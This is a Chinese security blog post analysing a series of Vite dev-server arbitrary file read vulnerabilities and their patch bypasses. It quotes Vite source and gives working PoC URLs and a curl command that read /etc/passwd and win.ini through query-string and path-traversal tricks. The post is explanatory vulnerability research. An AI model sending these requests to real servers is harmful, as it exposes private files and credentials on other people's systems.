从CVE-2025-30208到CVE-2025-31125再到CVE-2025-31486

admin 2025年5月27日16:54:10评论41 views字数 7810阅读26分2秒阅读模式

最近有花了一些时间看vite任意文件读取相关的一系列漏洞,下面打算以漏洞发现者的视角,讲讲这些漏洞的一些要点

CVE-2025-30208

CVE-2025-30208这个漏洞其实是历史漏洞CVE-2024-45811的绕过,在CVE-2024-45811核心在于,漏洞作者发现vite中存在一种静态资源处理方法,能够将资源文件本身的内容原样进行返回,这个就是raw语法https://cn.vite.dev/guide/assets#importing-asset-as-string

从CVE-2025-30208到CVE-2025-31125再到CVE-2025-31486

所以CVE-2024-45811最终的poc是

http://localhost:5174/iife/@fs/C:/windows/win.ini?import&raw

官方对于CVE-2024-45811的修复补丁如下

从CVE-2025-30208到CVE-2025-31125再到CVE-2025-31486

对于传入的url使用rawRE正则进行匹配,发现如果满足了资源引入的raw语法则调用ensureServingAccess方法判断 url指向的文件否是项目内允许的资源文件,限制不可读取非项目内的文件

export const rawRE = /(?|&)raw(?:&|$)/
从CVE-2025-30208到CVE-2025-31125再到CVE-2025-31486

而CVE-2025-30208则是绕过了上述补丁,具体是绕过了rawRE正则,从而不需要走ensureServingAccess的验证逻辑,poc如下

http://localhost:5174/iife/@fs/C:/windows/win.ini?import&raw??
从CVE-2025-30208到CVE-2025-31125再到CVE-2025-31486

只是在上一个洞的基础上加上了??

如果要绕过rawRE正则,其实只需要加一个?即可,为什么是2个??

加2个??的原因是在于,在走到rawRE的判断前会对url进行预处理,进行url解码,并且处理时间相关的参数,以及移除第一个?(或者#)到末尾的内容,所以要多加一个?来应付这种预处理

从CVE-2025-30208到CVE-2025-31125再到CVE-2025-31486
const trailingSeparatorRE = /[?&]$/export function removeTimestampQuery(url: string): string {  return url.replace(timestampRE, '').replace(trailingSeparatorRE, '')}

那为什么加?问号能够正常工作呢

其实是因为后面对于上述处理后的url在doTransform方法的开头又调用了一次removeTimestampQuery,把第二个也移除了所以最终处理的url还是为/@fs/C:/windows/win.ini?raw

符合定义的语法所以能走到文件读取的逻辑

从CVE-2025-30208到CVE-2025-31125再到CVE-2025-31486
从CVE-2025-30208到CVE-2025-31125再到CVE-2025-31486

对于CVE-2025-30208的补丁修复逻辑如下

从CVE-2025-30208到CVE-2025-31125再到CVE-2025-31486

既然这次的绕过是由于加了??,所以这次官方在补丁中引入了trailingQuerySeparatorsRE正则,移除url后面多余的连续的?&

CVE-2025-31125

CVE-2025-31125这个漏洞,没有直接对CVE-2025-30208补丁进行绕过,而是找到了另外的读取文件的方法explicit-inline-handling

webassembly,只不过这次不是读取文件的明文而是文件的base64编码后的内容

这次官方给的poc是

http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init

核心在于inline.wasm?init

首先来看下官方文档中介绍的inline用法

从CVE-2025-30208到CVE-2025-31125再到CVE-2025-31486

即只需要加上inline即可将文件内容作为静态资源进行内嵌

再看一下webAssembly的使用,只要以.wasm?init结尾即可返回文件内容的base64编码

从CVE-2025-30208到CVE-2025-31125再到CVE-2025-31486

所以结合inline语法,我们就有可能读取到以wasm为后缀的文件到base64编码后文件内容

但是似乎不太对,我们要读的明明不是.wasm文件,我们要达到的目的是要读取任意文件,这个又是咋回事?

这个是因为wasmHelperPlugin的处理逻辑有点问题,实际的程序逻辑只要求最后以.wasm?init结尾即可,但是其实没有考虑到.wasm?init可能在参数的位置

从CVE-2025-30208到CVE-2025-31125再到CVE-2025-31486

最终可以走到核心fileToDevUrl方法,该方法只要求id(即处理后的url)满足正则/[?&]inlineb/即可走到文件读取的逻辑(其中cleanUrl很贴心地将我们?后面带的参数部分全部移除,所以最后的file为"C:/Windows/win.ini"

export const inlineRE = /[?&]inlineb/export async function fileToDevUrl(  environment: Environment,  id: string,  skipBase = false,): Promise<string> {  const config = environment.getTopLevelConfig()  const publicFile = checkPublicFile(id, config)  // If has inline query, unconditionally inline the asset  if (inlineRE.test(id)) {    const file = publicFile || cleanUrl(id)    const content = await fsp.readFile(file)    return assetToDataURL(environment, file, content)  }
从CVE-2025-30208到CVE-2025-31125再到CVE-2025-31486

官方对此的修复如下

既然inline语法有可能会因为文件内联导致文件内容被读取,那么对于传入的url使用inlineRE正则进行匹配,发现如果满足了资源引入的inline语法则调用ensureServingAccess方法判断 url指向的文件否是项目内允许的资源文件,限制不可读取非项目内的文件

从CVE-2025-30208到CVE-2025-31125再到CVE-2025-31486

CVE-2025-31486

CVE-2025-31486可谓是大家各显神通的一个漏洞,主要包含了2种绕过的方法

寻找新的文件内敛方法.svg

在上面分析CVE-2025-31125的时候提到了fileToDevUrl,只贴了一半逻辑,现在贴下其完整逻辑

export async function fileToDevUrl(  environment: Environment,  id: string,  skipBase = false,): Promise<string> {  const config = environment.getTopLevelConfig()  const publicFile = checkPublicFile(id, config)  // If has inline query, unconditionally inline the asset  if (inlineRE.test(id)) {    const file = publicFile || cleanUrl(id)    const content = await fsp.readFile(file)    return assetToDataURL(environment, file, content)  }  // If is svg and it's inlined in build, also inline it in dev to match  // the behaviour in build due to quote handling differences.  if (svgExtRE.test(id)) {    const file = publicFile || cleanUrl(id)    const content = await fsp.readFile(file)    if (shouldInline(environment, file, id, content, undefined, undefined)) {      return assetToDataURL(environment, file, content)    }  }  let rtn: string  if (publicFile) {    // in public dir during dev, keep the url as-is    rtn = id  } else if (id.startsWith(withTrailingSlash(config.root))) {    // in project root, infer short public path    rtn = '/' + path.posix.relative(config.root, id)  } else {    // outside of project root, use absolute fs path    // (this is special handled by the serve static middleware    rtn = path.posix.join(FS_PREFIX, id)  }  if (skipBase) {    return rtn  }  const base = joinUrlSegments(config.server.origin ?? '', config.decodedBase)  return joinUrlSegments(base, removeLeadingSlash(rtn))}

CVE-2025-31125走的分支是inlineRE.test(id),但是现在inline不能用了,那我们可以走svgExtRE.test(id)分支

这个就是官方披露的第一个poc

http://localhost:5173/iife/C:/windows/win.ini?import&?.svg?.wasm?init
从CVE-2025-30208到CVE-2025-31125再到CVE-2025-31486

得出这个poc一个是要满足svgExtRE正则和shouldInline方法中的各种条条框框

function shouldInline(  environment: Environment,  file: string,  id: string,  content: Buffer,  /** Should be passed only in build */  buildPluginContext: PluginContext | undefined,  forceInline: boolean | undefined,): boolean {  if (noInlineRE.test(id)) return false  if (inlineRE.test(id)) return true  // Do build only checks if passed the plugin context during build  if (buildPluginContext) {    if (environment.config.build.lib) return true    if (buildPluginContext.getModuleInfo(id)?.isEntry) return false  }  if (forceInline !== undefined) return forceInline  if (file.endsWith('.html')) return false  // Don't inline SVG with fragments, as they are meant to be reused  if (file.endsWith('.svg') && id.includes('#')) return false  let limit: number  const { assetsInlineLimit } = environment.config.build  if (typeof assetsInlineLimit === 'function') {    const userShouldInline = assetsInlineLimit(file, content)    if (userShouldInline != null) return userShouldInline    limit = DEFAULT_ASSETS_INLINE_LIMIT  } else {    limit = Number(assetsInlineLimit)  }  return content.length < limit && !isGitLfsPlaceholder(content)}

可以有很多变形,核心不变的在于.svg

这种利用方式还有个限制就是只能读取文件小于 build.assetsInlinelimit (默认为 4kB) 的文件

从CVE-2025-30208到CVE-2025-31125再到CVE-2025-31486

bypass权限校验ensureServingAccess

官方披露的第二个poc为

curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'

上面我们说到在修复CVE-2024-45811时有引入ensureServingAccess对传入的url进行校验,这个poc就绕过了ensureServingAccess的校验从而使用raw语法成功读取到了文件

针对我本地项目的情况,我本地可用的poc为

http://localhost:5173/iife/@fs/C:/Users/swordlight/main/sec/analyse/vite-6.2.4/?/../../../../../../../windows/win.ini?import&raw

按照这个poc的允许步骤来看下具体的流程

CVE-2025-30208的补丁中引入了trailingQuerySeparatorsRE正则替换,经过该正则处理后的urlWithoutTrailingQuerySeparators

/@fs/C:/Users/swordlight/main/sec/analyse/vite-6.2.4/?/../../../../../../../windows/win.ini?import&raw

从CVE-2025-30208到CVE-2025-31125再到CVE-2025-31486

故传入ensureServingAccess的url参数即为/@fs/C:/Users/swordlight/main/sec/analyse/vite-6.2.4/?/../../../../../../../windows/win.ini?import&raw

ensureServingAccess方法中只要isFileServingAllowed方法返回true即可通过校验

export function ensureServingAccess(  url: string,  server: ViteDevServer,  res: ServerResponse,  next: Connect.NextFunction,): boolean {  if (isFileServingAllowed(url, server)) {    return true  }  if (isFileReadable(cleanUrl(url))) {    const urlMessage = `The request url "${url}" is outside of Vite serving allow list.`    const hintMessage = `${server.config.server.fs.allow.map((i) => `- ${i}`).join('n')}Refer to docs https://vite.dev/config/server-options.html#server-fs-allow for configurations and more details.`    server.config.logger.error(urlMessage)    server.config.logger.warnOnce(hintMessage + 'n')    res.statusCode = 403    res.write(renderRestrictedErrorHTML(urlMessage + 'n' + hintMessage))    res.end()  } else {    // if the file doesn't exist, we shouldn't restrict this path as it can    // be an API call. Middlewares would issue a 404 if the file isn't handled    next()  }  return false}

isFileServingAllowed对于此次绕过的核心在fsPathFromUrl的调用

export function isFileServingAllowed(  url: string,  server: ViteDevServer,): booleanexport function isFileServingAllowed(  configOrUrl: ResolvedConfig | string,  urlOrServer: string | ViteDevServer,): boolean {  const config = (    typeof urlOrServer === 'string' ? configOrUrl : urlOrServer.config  ) as ResolvedConfig  const url = (    typeof urlOrServer === 'string' ? urlOrServer : configOrUrl  ) as string  if (!config.server.fs.strict) return true  const filePath = fsPathFromUrl(url)  return isFileLoadingAllowed(config, filePath)}

fsPathFromUrl方法在处理路径时首先调用了cleanUrl对url进行了再次处理

export function fsPathFromUrl(url: string): string {  return fsPathFromId(cleanUrl(url))}

cleanUrl会使用正则处理url中的第一个?或者#开始的到结尾的部分进行移除,经过cleanUrl处理后返回的url为/@fs/C:/Users/swordlight/main/sec/analyse/vite-6.2.4/这个其实指向的就是我本地项目的根路径,是合法的

从CVE-2025-30208到CVE-2025-31125再到CVE-2025-31486

经过url到路径的转换最终被用来进行鉴权判断的路径为C:/Users/swordlight/main/sec/analyse/vite-6.2.4/,其实这个就是我本地项目实际的根目录

从CVE-2025-30208到CVE-2025-31125再到CVE-2025-31486

所以最终在进行目录校验时,最终满足了第三个分支,通过了目录的合法性的校验

从CVE-2025-30208到CVE-2025-31125再到CVE-2025-31486

但是通过目录验证后,后续的处理逻辑却又是使用我们原始的url进行处理

从CVE-2025-30208到CVE-2025-31125再到CVE-2025-31486
从CVE-2025-30208到CVE-2025-31125再到CVE-2025-31486

后续在处理完毕@fs和进行路径规范化后得到的url即为C:/windows/win.ini?raw

最终可以使用raw语法成功读取明文文件内容

从CVE-2025-30208到CVE-2025-31125再到CVE-2025-31486

总结

vite这一系列漏洞单看某个漏洞不觉得有什么,但是总体看会发现还是有点意思。上一个漏洞的补丁可能会为下一个漏洞的利用埋下伏笔。个人觉得可能是官方在修复时没有站在一个更全局的视角去考虑修复的方法,所以存在这种一波三折的修复情况。

作者:【sw0rd1ight】

原文始发于微信公众号(船山信安):从CVE-2025-30208到CVE-2025-31125再到CVE-2025-31486

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月27日16:54:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从CVE-2025-30208到CVE-2025-31125再到CVE-2025-31486https://cn-sec.com/archives/3952518.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息